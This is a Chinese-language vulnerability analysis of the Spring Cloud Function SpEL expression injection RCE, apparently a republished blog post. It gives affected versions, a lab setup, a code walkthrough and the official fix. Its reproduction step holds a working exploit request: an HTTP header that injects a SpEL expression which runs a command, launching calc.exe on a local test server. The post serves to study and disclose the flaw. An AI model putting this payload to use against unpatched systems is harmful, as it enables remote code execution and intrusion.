大数跨境
0
0

SpringCloud Function SPEL表达式 RCE 漏洞分析

SpringCloud Function SPEL表达式 RCE 漏洞分析 黑伞安全服务商
2022-03-29
2
导读:近日,Spring Cloud Function 官方测试用例曝光了 Spring Cloud Function SPEL 表达式注入漏洞,可利用该漏洞通过注入 SPEL 表达式来触发远程命令执行。



title: SpringCloud Function SPEL RCE analysis
date: 2022-03-29 12:46:03
tags:

  • Java

  • Spring
    categories: Analysis
    cover: 
    excerpt: SpringCloud Function SPEL表达式 RCE 漏洞分析


前言


近日,Spring Cloud Function 官方测试用例曝光了 Spring Cloud Function SPEL 表达式注入漏洞,可利用该漏洞通过注入 SPEL 表达式来触发远程命令执行。Spring Cloud Function 是一个基于 Spring Boot 的函数计算框架。通过抽象传输细节和基础设施,为开发者保留熟悉的开发工具和开发流程,让开发者专注于实现业务逻辑,从而提高开发效率。


影响版本


3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


环境构建


JDK: 17.0.2
IDEA 2021.3 x64
Windows 10 21H2


使用github上 cckuailong师傅创建的环境



拉取仓库后用IDEA maven进行打包调试即可.由于spring默认端口使用的8080,所以可能会与Burpsuite冲突.可编辑application.properties修改默认端口



漏洞复现


待服务端启动后,向spring服务请求如下数据包


POST /speltest HTTP/1.1Host: 127.0.0.1:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-sitePragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 0spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")



漏洞分析


首先来看一下官方提交的commit


https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f





根据官方commit, 可以得知该漏洞是由RoutingFunction功能所导致


在commit中官方也给出了相应的测试用例





根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段


首先,在所有路由的postmapping上打入断点,程序在进入到form后获取了当前的wapper,随后进入到processRequest





跟进





在processRequest中首先获取了当前wrapper的function,随后调用该function对象的apply





apply中紧接着调用了wrapper的doApply





doApply中首先判断wrapper是否是RoutingFunction,如果不是RoutingFunction则获取其target属性并调用其apply方法,而在此处当前wrapper的target属性正好是一个RoutingFunction





apply中直接调用了route方法,所以直接来看route


在route中判断header头中是否有spring.cloud.function.routing-expression, 随后调用functionFromExpression





到functionFromExpression中,即调用Expression对传入的SPEL表达式进行解析,随后调用expression.getValue执行





修复


在修复版本中对header使用SimpleEvaluationContext进行安全处理





参考


https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f


By the way


最近对原先博客进行了迁移, 之前所有资源链接都已停止解析.....




【声明】内容源于网络
0
0
黑伞安全服务商
(黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
内容 366
粉丝 0
黑伞安全服务商 (黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
总阅读129
粉丝0
内容366